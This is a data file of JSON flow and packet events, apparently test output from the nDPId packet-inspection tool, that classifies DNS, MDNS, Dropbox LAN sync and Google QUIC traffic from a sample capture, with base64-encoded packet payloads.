+00632{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":695,"source":"telegram.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":1,"flow_first_seen":1588779628757,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":49764,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ntop","breed":"Safe","category":"Network"},"dns": {"query":"dati.ntop.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00504{"flow_id":31,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":698,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779628,"pkt_ts_usec":804372,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"KDc3AG3IEBMx8Tl2CABFAABr7g4AAEARCNXAqAEBwKgBTQA1wmQAVwAAFnOBgAABAAIAAAAABGRhdGkEbnRvcANvcmcAAAEAAcAMAAUAAQAAADwAFBFtYWlsLWRpZ2l0YWxvY2VhbsARwCsAAQABAAAAPAAEp2PXpA=="} +00660{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":698,"source":"telegram.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":2,"flow_first_seen":1588779628757,"flow_last_seen":1588779628804,"flow_tot_l4_data_len":126,"flow_min_l4_data_len":39,"flow_max_l4_data_len":87,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":49764,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ntop","breed":"Safe","category":"Network"},"dns": {"query":"dati.ntop.org","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"167.99.215.164"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":707,"source":"telegram.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1588779629044,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":5812,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":32,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":707,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779629,"pkt_ts_usec":44577,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA6m54AAEARW3bAqAFNwKgBARa0ADUAJpvbsPwBAAABAAAAAAAABXBpeGVsAndwA2NvbQAAAQAB"} +00631{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":707,"source":"telegram.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1588779629044,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":5812,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"pixel.wp.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00457{"flow_id":32,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":708,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779629,"pkt_ts_usec":45803,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"KDc3AG3IAICPmq69CABFAABKxbFAAEAR8VLAqAEBwKgBTQA1FrQANpjhsPyBgAABAAEAAAAABXBpeGVsAndwA2NvbQAAAQABwAwAAQABAAAAAAAEwKgBnQ=="} +00657{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":708,"source":"telegram.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":2,"flow_first_seen":1588779629044,"flow_last_seen":1588779629045,"flow_tot_l4_data_len":92,"flow_min_l4_data_len":38,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":5812,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"pixel.wp.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"192.168.1.157"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":710,"source":"telegram.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1588779629079,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":54595,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":710,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779629,"pkt_ts_usec":79368,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"EBMx8Tl2KDc3AG3ICABFAABFpC4AAP8Rk9rAqAFNwKgBAdVDADUAMZzqakQBAAABAAAAAAAAAWIHX2Rucy1zZARfdWRwBG50b3ADb3JnAAAMAAE="} +00643{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":710,"source":"telegram.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1588779629079,"flow_last_seen":0,"flow_tot_l4_data_len":49,"flow_min_l4_data_len":49,"flow_max_l4_data_len":49,"flow_avg_l4_data_len":49,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.1","src_port":54595,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.ntop","breed":"Safe","category":"Network"},"dns": {"query":"b._dns-sd._udp.ntop.org","num_queries":0,"num_answers":0,"reply_code":0,"query_type":12,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00782{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":719,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779631,"pkt_ts_usec":447782,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJxAAEARYHXAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGALnIwr0AAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00479{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":720,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779631,"pkt_ts_usec":710543,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7wJrQLWJ0CABFAABZzLkAAAIRSQLAqAE14AAA+xTpFOkARfrBAAoAAAACAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQlfQ0MzMkU3NTMEX3N1YsAMAAwAAQ=="} +00611{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":720,"source":"telegram.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1588779596464,"flow_last_seen":1588779631710,"flow_tot_l4_data_len":689,"flow_min_l4_data_len":53,"flow_max_l4_data_len":204,"flow_avg_l4_data_len":114,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_googlecast._tcp.local"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":721,"source":"telegram.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1588779632305,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01030{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":721,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779632,"pkt_ts_usec":305252,"pkt_caplen":506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":506,"pkt_l4_len":472,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAAHsdQUAAEARQgfAqAFN\/\/\/\/\/0RcRFwB2FvpeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiA0MDk1NjMzNTA1MDQ3NDIyMDI0ODQ4MjA1NjAzMDgyNTQwNDYyOSwgImRpc3BsYXluYW1lIjogIiIsICJuYW1lc3BhY2VzIjogWzUzMDMzMDEyNDgsIDc4NTI2NjE3NywgMTUyNjI2MzA0NSwgMjg1MjE2MDcsIDE0ODE5MzM3LCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAyNzUwMzcwNTYwLCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgNDA1NjQ2MjU5MiwgNzA1MzYyNzE4NCwgMTUyMjE3NzU4NywgMTQyMTExNDM5OSwgMTI1MjExNjQyOSwgNzA3OTYzNjY4OCwgMTc2OTY0MzA3LCAxMjU1NDA1NjYsIDEwNDc0MjgxODksIDQ3MTYxOTAwNDgsIDU0NjcxNjMwODgsIDExOTUwNDQwNzEsIDk2ODUzMjI0LCAxNzYwOTk2MywgNjQ3ODMwMzQ0MCwgNTExNzA2NjQyLCA2Mjk3OTU1MTg0LCAxNDE1NjIwMzUwXX0="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":721,"source":"telegram.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1588779632305,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":722,"source":"telegram.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1588779632305,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01026{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":722,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779632,"pkt_ts_usec":305662,"pkt_caplen":506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":506,"pkt_l4_len":472,"pkt":"\/\/\/\/\/\/\/\/KDc3AG3ICABFAAHsvq0AAEARNbfAqAFNwKgB\/0RcRFwB2JlBeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiaG9zdF9pbnQiOiA0MDk1NjMzNTA1MDQ3NDIyMDI0ODQ4MjA1NjAzMDgyNTQwNDYyOSwgImRpc3BsYXluYW1lIjogIiIsICJuYW1lc3BhY2VzIjogWzUzMDMzMDEyNDgsIDc4NTI2NjE3NywgMTUyNjI2MzA0NSwgMjg1MjE2MDcsIDE0ODE5MzM3LCA0NTE0NzI2NTgsIDczNjM0MTUyOCwgOTM4ODEzODQ5LCAyNzUwMzcwNTYwLCAxMjY3Njk1MTA5LCA1NDQwNDA3MDcyLCA1ODM0NDk5NiwgNDA1NjQ2MjU5MiwgNzA1MzYyNzE4NCwgMTUyMjE3NzU4NywgMTQyMTExNDM5OSwgMTI1MjExNjQyOSwgNzA3OTYzNjY4OCwgMTc2OTY0MzA3LCAxMjU1NDA1NjYsIDEwNDc0MjgxODksIDQ3MTYxOTAwNDgsIDU0NjcxNjMwODgsIDExOTUwNDQwNzEsIDk2ODUzMjI0LCAxNzYwOTk2MywgNjQ3ODMwMzQ0MCwgNTExNzA2NjQyLCA2Mjk3OTU1MTg0LCAxNDE1NjIwMzUwXX0="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":722,"source":"telegram.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1588779632305,"flow_last_seen":0,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":472,"flow_max_l4_data_len":472,"flow_avg_l4_data_len":472,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00461{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":723,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779632,"pkt_ts_usec":315962,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/wJrQLWJ0CABFAABES\/gAAEARqizAqAE1wKgB\/+EV4RUAMNBmU3BvdFVkcDClWtsnvt2XzwABAACyJIr8D\/N2Z9WO7tpCHKgrvJhaBg=="} +00479{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":724,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779632,"pkt_ts_usec":717737,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7wJrQLWJ0CABFAABZVrUAAAIRvwbAqAE14AAA+xTpFOkARfrBAAoAAAACAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQlfQ0MzMkU3NTMEX3N1YsAMAAwAAQ=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":725,"source":"telegram.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1588779634762,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"216.58.205.68","src_port":61974,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02202{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":725,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779634,"pkt_ts_usec":762513,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"EBMx8Tl2KDc3AG3ICABFAAViWJsAAEARtXvAqAFN2DrNRPIWAbsFTgTHw1EwNDZQozVJE19KlwkAAAABdLDg+WGAhzOZu62GoAEEAENITE8ZAAAAUEFEAPUBAABTTkkAAwIAAFNUSwA5AgAAVkVSAD0CAABDQ1MATQIAAE5PTkNtAgAAQUVBRHECAABVQUlEoAIAAFNDSUSwAgAAVENJRLQCAABQRE1EuAIAAFNNSEy8AgAASUNTTMACAABOT05Q4AIAAFBVQlMAAwAATUlEUwQDAABTQ0xTCAMAAEtFWFMMAwAAWExDVBQDAABDU0NUFAMAAENPUFQUAwAAQ0NSVCQDAABJUlRUKAMAAENGQ1csAwAAU0ZDVzADAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS13d3cuZ29vZ2xlLmNvbfji0b2UKZEBPixRS8R5FV4DZD4i7T\/6B0Z4nKaYTElCcNQLL0+vajT\/QP9tp6wIGReVi8x7NFEwNDYB6IFgkpIa6H7tgIaiFYKRXrLacjAwMDAwMDAwAuVjx2eeSNkn+AhDtSgQn3BeW8lDQzIwYmV0YSBDaHJvbWUvODMuMC40MTAzLjM0IEludGVsIE1hYyBPUyBYIDEwXzEzXzYriYKzggSKpsC6slaoCl0fAAAAAFg1MDkBAAAAHgAAAAuXQLYHE9JIhKrGV8rvXoOxMjFuf2JfKTHXlSKWC8+sAyENtsO94X6K9sux59v7JM7rsrjePubGsEAWqYL7e1xkAAAAAQAAAEMyNTXvR+qpngpSje9H6qmeClKNYDLLkqBBTd8GdwAAAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":725,"source":"telegram.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1588779634762,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"216.58.205.68","src_port":61974,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"www.google.com","user_agent":"beta Chrome\/83.0.4103.34 Intel Mac OS X 10_13_6"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":726,"source":"telegram.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1588779634764,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"216.58.205.68","src_port":50822,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02202{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":726,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779634,"pkt_ts_usec":764481,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"EBMx8Tl2KDc3AG3ICABFAAViUS0AAEARvOnAqAFN2DrNRMaGAbsFTkE+w1EwNDZQdSQ0JxgV+\/AAAAABpTtWGWoI4a2O5woGoAEEAENITE8ZAAAAUEFEAPUBAABTTkkAAwIAAFNUSwA5AgAAVkVSAD0CAABDQ1MATQIAAE5PTkNtAgAAQUVBRHECAABVQUlEoAIAAFNDSUSwAgAAVENJRLQCAABQRE1EuAIAAFNNSEy8AgAASUNTTMACAABOT05Q4AIAAFBVQlMAAwAATUlEUwQDAABTQ0xTCAMAAEtFWFMMAwAAWExDVBQDAABDU0NUFAMAAENPUFQUAwAAQ0NSVCQDAABJUlRUKAMAAENGQ1csAwAAU0ZDVzADAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS13d3cuZ29vZ2xlLmNvbapsx9TSQuPwh8YeJs33Nmze8URvGPZoGeJQWhFImAF+FKGJcZ5Gv+AWggZjhNIH2DzcOgKswVEwNDYB6IFgkpIa6H7tgIaiFYKRXrLacjAwMDAwMDAwTrr3TE8EhubDtCHdJzdVC1d+PPBDQzIwYmV0YSBDaHJvbWUvODMuMC40MTAzLjM0IEludGVsIE1hYyBPUyBYIDEwXzEzXzYriYKzggSKpsC6slaoCl0fAAAAAFg1MDkBAAAAHgAAAIbXL08ZJ3aJ+3OQ3+Rsvbic8DCd31+92QlBmAfJ4ZcgyovDvfnINbPNV9UIgMSv\/oTfYVDM1unv0Eg0xlJTYVZkAAAAAQAAAEMyNTXvR+qpngpSje9H6qmeClKNYDLLkqBBTd8GdwAAAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":726,"source":"telegram.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1588779634764,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"216.58.205.68","src_port":50822,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"www.google.com","user_agent":"beta Chrome\/83.0.4103.34 Intel Mac OS X 10_13_6"}} +02222{"flow_id":36,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779634,"pkt_ts_usec":794508,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"KDc3AG3IEBMx8Tl2CABFAAViAABAADcR1xbYOs1EwKgBTQG78hYFTlCg01EwNDYFozVJE19KlwkAAAABlFnOyl1IE6Kl9p2lJqJe20wr+YJJK3OQaQI+K1yyeZR9yLW3lS\/Tdnt9xcKqAlOjTi1OwA2w6a7+tRtr3KAKpiTPSke9Qgxq9RZuUGOobpscabZyRsqHgng7hPe2XFawQxldFDSjxKnYQdE5FFv9BpDrnq\/TTXf9TFvgw\/QnXVAz5Cyt9UqBUF1hH0e8eHxu6vo8lxkhnIhe5h6hLOoAm1BnioEr9hnRo4ORCSZRNuTGnhroEuVGyj5HhhPz45sTADcZH\/aRhJy7qwSQPpjxKMRjwHfkXW+yFpSOG3Hp5CsHedxutEJhnZDI+4BG1I6mpoDE8Zvk+SOrrxTdABEKpyABqDKs78QbQi9n46y46LF2JTAo36T9cjW0OkfnS1dX8RBGe5tpl\/GX8HAEOsAa\/z+6O4B5WSOIZhf34xGOy\/N3OFC+u9lN+ttVyLf++3WOzpd57ZzPwtC+yE\/BNwbA4eO5JHsp6kPUffzjzL5K4L4obRfRfmFzgUJr2AvlNCCKETOUv9FcgCj+O3Ce2J+FzvWWvPIvOKN37xrUN\/mjFcjn6vrnzc3WHSBHZUUQPgLL9gdUFNa8\/yQjJhbGLlt8bvQA1SJaoWXDVmYJjnjFSJJFF8RWpizfJP35dxquwrjEwUged8l6McoK7qHu4Ld19f6o8UJyTgkxjnhmujMkW40UK64Bo1F6vaXjIzepbsvzrfPs4buhFyCPcm2wLFZq5nMbYvmNgbBAMNYgQ7+Y4Zo47U6dIvcnsHay4b8rdIZC\/Ra4RUg2MEAVMY04nZVwsS9kMvxjw7tWpuLXdlQCjlvuGOf6dZ6k9rHdaI3URstXL6UuWo0Gdj\/NtiaGySmIHVV6i7EbmaJp3uFyYDnUvrIMjfc6ghlolVGsZni+GAZQbXnpWH5ualh+GQk\/IS2IEz0uyBJ6dsYticBr8EFAQR7hHY\/3OyEr27WwpwoLmUJn9UQqUUNET0+qTxL027bZTqGeTGLe2rH0z4qd78Ue12s\/mmitdGeaTOEIB+kN9Oz976ydi7i+SoMBr\/+hKLj5gjHsfiNqAK8opkFFxqyBh0nqOBdwUSl8gZVmShAcuOo649XW